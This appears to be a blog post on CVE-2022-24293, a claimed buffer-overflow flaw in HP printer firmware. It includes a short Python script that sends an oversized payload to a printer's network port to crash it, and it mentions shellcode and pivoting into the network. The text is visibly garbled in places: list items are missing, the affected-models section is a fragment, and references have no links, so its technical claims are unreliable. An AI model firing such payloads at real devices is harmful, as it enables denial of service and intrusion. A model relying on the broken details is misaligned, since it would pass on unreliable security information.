In early 2022, cybersecurity researchers revealed a major security flaw tracked as CVE-2022-24293, affecting a wide range of HP Print devices. This vulnerability can let cybercriminals steal information, crash your printer, or even take total control of your printing device — which could lead to further attacks on your whole network. In this deep-dive post, we’ll break down what CVE-2022-24293 really means, show some sample exploit code, and explain how you can stay safe.

What is CVE-2022-24293?

CVE-2022-24293 is a security flaw discovered in the firmware of several HP printers, including some popular LaserJet Pro and OfficeJet models. The vulnerability received a CVSS score of up to 9.8 (Critical) because it can lead to:

Denial of Service (making the printer crash and become useless)

- Remote Code Execution (letting hackers run code on your printer, and possibly move into other systems within your network)

The core problem lies in how the printer firmware processes certain network requests without proper checking — a type of security bug called buffer overflow.

How Does the Exploit Work?

When a printer software or "firmware" doesn't properly check the size of incoming data, an attacker can send a specially crafted network packet to the printer, which pushes extra data into the memory. This trick can cause the printer to:

Or, in the worst case, execute malicious code

The attacker does not need physical access to the printer; just that it is connected to the same network — or, for some setups, is exposed to the Internet.

Example Exploit Scenario

Let’s take a look at a simplified exploit concept in Python using the socket library. The idea is to send an oversized request to the printer’s IP and the port it uses for management.

import socket

# Replace with your printer's IP address and port
PRINTER_IP = "192.168.1.100"
PRINTER_PORT = 910

# Oversized payload: A large string, bigger than what the firmware expects
payload = b"A" * 500

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((PRINTER_IP, PRINTER_PORT))
    sock.sendall(payload)
    print("Exploit payload sent.")
    sock.close()
except Exception as e:
    print("Failed to connect or send:", e)


> Note: This is a demonstration only — running this against a vulnerable printer may crash it or disclose internal memory data.

A real attack would be more complex, possibly including shellcode to run further commands, leak sensitive memory regions, or pivot into the broader network.

HP OfficeJet Pro 9025 and others

For a full list, see HP's Security Bulletin (link below).

HP published a security advisory with firmware updates fixing this issue

- HP Security Bulletin: HPSBPI03717 (CVE-2022-24293)

Original References

- NIST NVD Entry for CVE-2022-24293
- HP Security Bulletin (HPSBPI03717)
- CERT/CC VU#339976 Summary

Wrapping Up

CVE-2022-24293 is a serious HP printer bug that can be used for data theft, taking down devices, or opening a beachhead into your company network. With printers being overlooked in many security plans, it’s more important than ever to keep them updated and locked down. Don’t let your print room become a hacker’s favorite way in!

Update now, and stay secure.

*This article is exclusive and original content for your understanding.*

Timeline

Published on: 03/23/2022 20:15:00 UTC
Last modified on: 03/29/2022 18:50:00 UTC